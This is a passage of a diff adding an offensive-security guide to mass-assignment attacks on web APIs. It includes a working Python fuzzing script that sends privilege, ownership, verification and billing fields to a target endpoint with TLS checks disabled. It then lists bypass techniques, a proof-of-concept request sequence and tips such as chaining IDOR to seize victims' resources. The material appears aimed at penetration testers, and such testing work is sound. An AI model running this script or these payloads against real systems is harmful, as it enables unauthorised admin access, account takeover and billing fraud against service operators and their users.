+
|
|
568
|
+
Usage: python3 mass_assign_dict.py \
|
|
569
|
+
--url https://api.target.com/api/users/me \
|
|
570
|
+
--method PATCH --token "Bearer <token>"
|
|
571
|
+
"""
|
|
572
|
+
import ssl, json, argparse, time
|
|
573
|
+
from urllib.request import urlopen, Request
|
|
574
|
+
from urllib.error import HTTPError
|
|
575
|
+
|
|
576
|
+
ctx = ssl.create_default_context()
|
|
577
|
+
ctx.check_hostname = False
|
|
578
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
579
|
+
|
|
580
|
+
# Comprehensive sensitive field dictionary
|
|
581
|
+
FIELD_DICT = {
|
|
582
|
+
# Privilege escalation
|
|
583
|
+
"isAdmin": [True, "true", 1, "1"],
|
|
584
|
+
"admin": [True, "true", 1],
|
|
585
|
+
"is_admin": [True, "true", 1],
|
|
586
|
+
"role": ["admin", "superadmin", "staff", "moderator", "owner"],
|
|
587
|
+
"roles": [["admin"], ["superadmin"]],
|
|
588
|
+
"userType": ["admin", "staff", "internal"],
|
|
589
|
+
"user_type": ["admin", "staff"],
|
|
590
|
+
"accountType": ["admin", "premium", "enterprise"],
|
|
591
|
+
"permissions": [["*"], ["admin:all"], ["read:all", "write:all"]],
|
|
592
|
+
"scope": ["admin", "*", "all"],
|
|
593
|
+
"staff": [True, 1],
|
|
594
|
+
"superuser": [True, 1],
|
|
595
|
+
"is_superuser": [True, 1],
|
|
596
|
+
"isSuperAdmin": [True, 1],
|
|
597
|
+
"isStaff": [True, 1],
|
|
598
|
+
# Verification bypass
|
|
599
|
+
"verified": [True, 1],
|
|
600
|
+
"emailVerified": [True, 1],
|
|
601
|
+
"email_verified": [True, 1],
|
|
602
|
+
"phoneVerified": [True, 1],
|
|
603
|
+
"kycVerified": [True, 1],
|
|
604
|
+
"identityVerified": [True, 1],
|
|
605
|
+
"approved": [True, 1],
|
|
606
|
+
# Ownership takeover
|
|
607
|
+
"userId": ["1", "2", "VICTIM_ID"],
|
|
608
|
+
"user_id": ["1", "2"],
|
|
609
|
+
"ownerId": ["1", "VICTIM_ID"],
|
|
610
|
+
"owner_id": ["1"],
|
|
611
|
+
"accountId": ["1", "ACCOUNT_ID"],
|
|
612
|
+
"account_id": ["1"],
|
|
613
|
+
"organizationId": ["ORG_ID"],
|
|
614
|
+
"tenantId": ["TENANT_ID"],
|
|
615
|
+
"createdBy": ["1"],
|
|
616
|
+
# Feature/plan gates
|
|
617
|
+
"plan": ["enterprise", "premium", "pro", "unlimited"],
|
|
618
|
+
"tier": ["enterprise", "premium", "gold"],
|
|
619
|
+
"subscription": ["premium", "enterprise"],
|
|
620
|
+
"premium": [True, 1],
|
|
621
|
+
"isPremium": [True, 1],
|
|
622
|
+
"betaAccess": [True, 1],
|
|
623
|
+
"beta_access": [True, 1],
|
|
624
|
+
# Quota manipulation
|
|
625
|
+
"usageLimit": [999999, -1],
|
|
626
|
+
"monthlyLimit": [999999],
|
|
627
|
+
"apiLimit": [999999],
|
|
628
|
+
"seatCount": [999, -1],
|
|
629
|
+
"maxProjects": [999],
|
|
630
|
+
"credits": [99999],
|
|
631
|
+
"creditBalance": [99999],
|
|
632
|
+
"balance": [99999],
|
|
633
|
+
# Status manipulation
|
|
634
|
+
"status": ["active", "approved", "verified"],
|
|
635
|
+
"accountStatus": ["active", "verified"],
|
|
636
|
+
"subscriptionStatus": ["active"],
|
|
637
|
+
"trialEndsAt": ["2099-12-31", "2099-12-31T00:00:00Z"],
|
|
638
|
+
"trial_ends_at": ["2099-12-31"],
|
|
639
|
+
"expiresAt": ["2099-12-31T00:00:00Z"],
|
|
640
|
+
}
|
|
641
|
+
|
|
642
|
+
def req(url, method, token, body):
|
|
643
|
+
req_obj = Request(url, method=method, data=json.dumps(body).encode(), headers={
|
|
644
|
+
"Authorization": token, "Content-Type": "application/json", "Accept": "application/json"
|
|
645
|
+
})
|
|
646
|
+
try:
|
|
647
|
+
resp = urlopen(req_obj, context=ctx, timeout=10)
|
|
648
|
+
return resp.status, json.loads(resp.read())
|
|
649
|
+
except HTTPError as e:
|
|
650
|
+
try:
|
|
651
|
+
return e.code, json.loads(e.read())
|
|
652
|
+
except Exception:
|
|
653
|
+
return e.code, {}
|
|
654
|
+
|
|
655
|
+
parser = argparse.ArgumentParser()
|
|
656
|
+
parser.add_argument("--url", required=True)
|
|
657
|
+
parser.add_argument("--method", default="PATCH")
|
|
658
|
+
parser.add_argument("--token", required=True)
|
|
659
|
+
parser.add_argument("--get-url", help="URL to verify state changes")
|
|
660
|
+
parser.add_argument("--delay", type=float, default=0.1)
|
|
661
|
+
args = parser.parse_args()
|
|
662
|
+
|
|
663
|
+
get_url = args.get_url or args.url
|
|
664
|
+
|
|
665
|
+
# Baseline
|
|
666
|
+
status, before = req(get_url, "GET", args.token, {})
|
|
667
|
+
print(f"[*] Baseline state: HTTP {status}")
|
|
668
|
+
|
|
669
|
+
findings = []
|
|
670
|
+
for field, values in FIELD_DICT.items():
|
|
671
|
+
for val in values[:1]: # Test first value only to reduce noise
|
|
672
|
+
body = {field: val}
|
|
673
|
+
status, resp = req(args.url, args.method, args.token, body)
|
|
674
|
+
if status in (200, 201, 204):
|
|
675
|
+
# Verify if field appeared/changed in state
|
|
676
|
+
status_after, after = req(get_url, "GET", args.token, {})
|
|
677
|
+
after_val = after.get(field) or after.get("data", {}).get(field)
|
|
678
|
+
if after_val and str(after_val) != str(before.get(field)):
|
|
679
|
+
print(f"[MASS ASSIGNMENT CONFIRMED] {field}={val} → persisted as: {after_val}")
|
|
680
|
+
findings.append({"field": field, "injected": val, "result": after_val})
|
|
681
|
+
elif field in str(resp):
|
|
682
|
+
print(f"[POSSIBLE] {field}={val} → HTTP {status}, field appeared in response")
|
|
683
|
+
time.sleep(args.delay)
|
|
684
|
+
|
|
685
|
+
print(f"\n[*] Confirmed mass assignment: {len(findings)}")
|
|
686
|
+
for f in findings:
|
|
687
|
+
print(f" {f['field']}: {f['injected']} → {f['result']}")
|
|
688
|
+
```
|
|
689
|
+
|
|
690
|
+
---
|
|
691
|
+
|
|
692
|
+
## Attack Surface
|
|
693
|
+
|
|
694
|
+
- REST/JSON, GraphQL inputs, form-encoded and multipart bodies
|
|
695
|
+
- Model binding in controllers/resolvers; ORM create/update helpers
|
|
696
|
+
- Writable nested relations, sparse/patch updates, bulk endpoints
|
|
697
|
+
- Registration/signup endpoints (highest impact — sets initial role)
|
|
698
|
+
- Profile update endpoints
|
|
699
|
+
- Admin API endpoints missing field allowlists
|
|
700
|
+
|
|
701
|
+
## Key Vulnerability Patterns
|
|
702
|
+
|
|
703
|
+
### Privilege Escalation
|
|
704
|
+
|
|
705
|
+
- Set role/isAdmin/permissions during signup/profile update
|
|
706
|
+
- Toggle admin/staff flags where exposed
|
|
707
|
+
- **Highest value**: inject `isAdmin: true` or `role: admin` during account creation
|
|
708
|
+
|
|
709
|
+
### Ownership Takeover
|
|
710
|
+
|
|
711
|
+
- Change ownerId/accountId/tenantId to seize resources
|
|
712
|
+
- Move objects across users/tenants
|
|
713
|
+
|
|
714
|
+
### Feature Gate Bypass
|
|
715
|
+
|
|
716
|
+
- Enable premium/beta/feature flags via flags/features fields
|
|
717
|
+
- Raise limits/seatCount/quotas
|
|
718
|
+
|
|
719
|
+
### Billing and Entitlements
|
|
720
|
+
|
|
721
|
+
- Modify plan/price/prorate/trialEnd or creditBalance
|
|
722
|
+
- Bypass server recomputation
|
|
723
|
+
|
|
724
|
+
### Nested and Relation Writes
|
|
725
|
+
|
|
726
|
+
- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller's scope
|
|
727
|
+
|
|
728
|
+
## Bypass Techniques
|
|
729
|
+
|
|
730
|
+
**Content-Type Switching**
|
|
731
|
+
- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one
|
|
732
|
+
|
|
733
|
+
**Key Path Variants**
|
|
734
|
+
- Dot/bracket/object re-shaping to reach nested fields through different binders
|
|
735
|
+
- `{"user.role": "admin"}` vs `{"user": {"role": "admin"}}` vs `user[role]=admin`
|
|
736
|
+
|
|
737
|
+
**Duplicate Keys**
|
|
738
|
+
- `{"role": "user", "role": "admin"}` — parser precedence varies (last wins in most)
|
|
739
|
+
- Test both orders
|
|
740
|
+
|
|
741
|
+
**Batch Paths**
|
|
742
|
+
- Per-item checks skipped in bulk operations
|
|
743
|
+
- Insert a single malicious object within a large batch
|
|
744
|
+
|
|
745
|
+
**Registration Endpoint (Highest Priority)**
|
|
746
|
+
- Signup forms often lack mass assignment protection as they're "write-only"
|
|
747
|
+
- Inject `isAdmin`, `role`, `verified` at account creation time
|
|
748
|
+
|
|
749
|
+
## Validation Requirements
|
|
750
|
+
|
|
751
|
+
1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller
|
|
752
|
+
2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value
|
|
753
|
+
3. Demonstrate consistency across at least two encodings or channels
|
|
754
|
+
4. For nested/bulk, show that protected fields are written within child objects or array elements
|
|
755
|
+
5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility
|
|
756
|
+
|
|
757
|
+
**Minimum proof set:**
|
|
758
|
+
```
|
|
759
|
+
Request 1: PATCH /api/users/me {"role": "admin"} → HTTP 200
|
|
760
|
+
Request 2: GET /api/users/me → {"role": "admin"} ← persisted
|
|
761
|
+
Request 3: Confirm role grants admin access (e.g., GET /api/admin/users → HTTP 200)
|
|
762
|
+
```
|
|
763
|
+
|
|
764
|
+
## False Positives
|
|
765
|
+
|
|
766
|
+
- Server recomputes derived fields (plan/price/role) ignoring client input
|
|
767
|
+
- Fields marked read-only and enforced consistently across encodings
|
|
768
|
+
- Only UI-side changes with no persisted effect
|
|
769
|
+
- Field accepted in response but re-computed server-side before storage
|
|
770
|
+
|
|
771
|
+
## Impact
|
|
772
|
+
|
|
773
|
+
- Privilege escalation and admin feature access — CVSS 9.8 (PR:N → Admin)
|
|
774
|
+
- Cross-tenant or cross-account resource takeover — CVSS 8.8
|
|
775
|
+
- Financial/billing manipulation and quota abuse — CVSS 7.5
|
|
776
|
+
- Policy/approval bypass by toggling verification or status flags
|
|
777
|
+
|
|
778
|
+
## Pro Tips
|
|
779
|
+
|
|
780
|
+
1. Always test the registration/signup endpoint first — it's write-only and often lacks protections
|
|
781
|
+
2. Build a sensitive-field dictionary per resource and fuzz systematically
|
|
782
|
+
3. Always try alternate shapes and encodings; many validators are shape/CT-specific
|
|
783
|
+
4. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields
|
|
784
|
+
5. Inspect SDKs/mobile apps for hidden field names and nested write examples
|
|
785
|
+
6. Test `select: false` Mongoose fields — hidden from reads but often writable
|
|
786
|
+
7. In Rails, test `accepts_nested_attributes_for` — frequently permits overly broad writes
|
|
787
|
+
8. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects
|
|
788
|
+
9. Chain with IDOR: first use IDOR to find victim user IDs, then mass-assign ownerId to take over their resources
|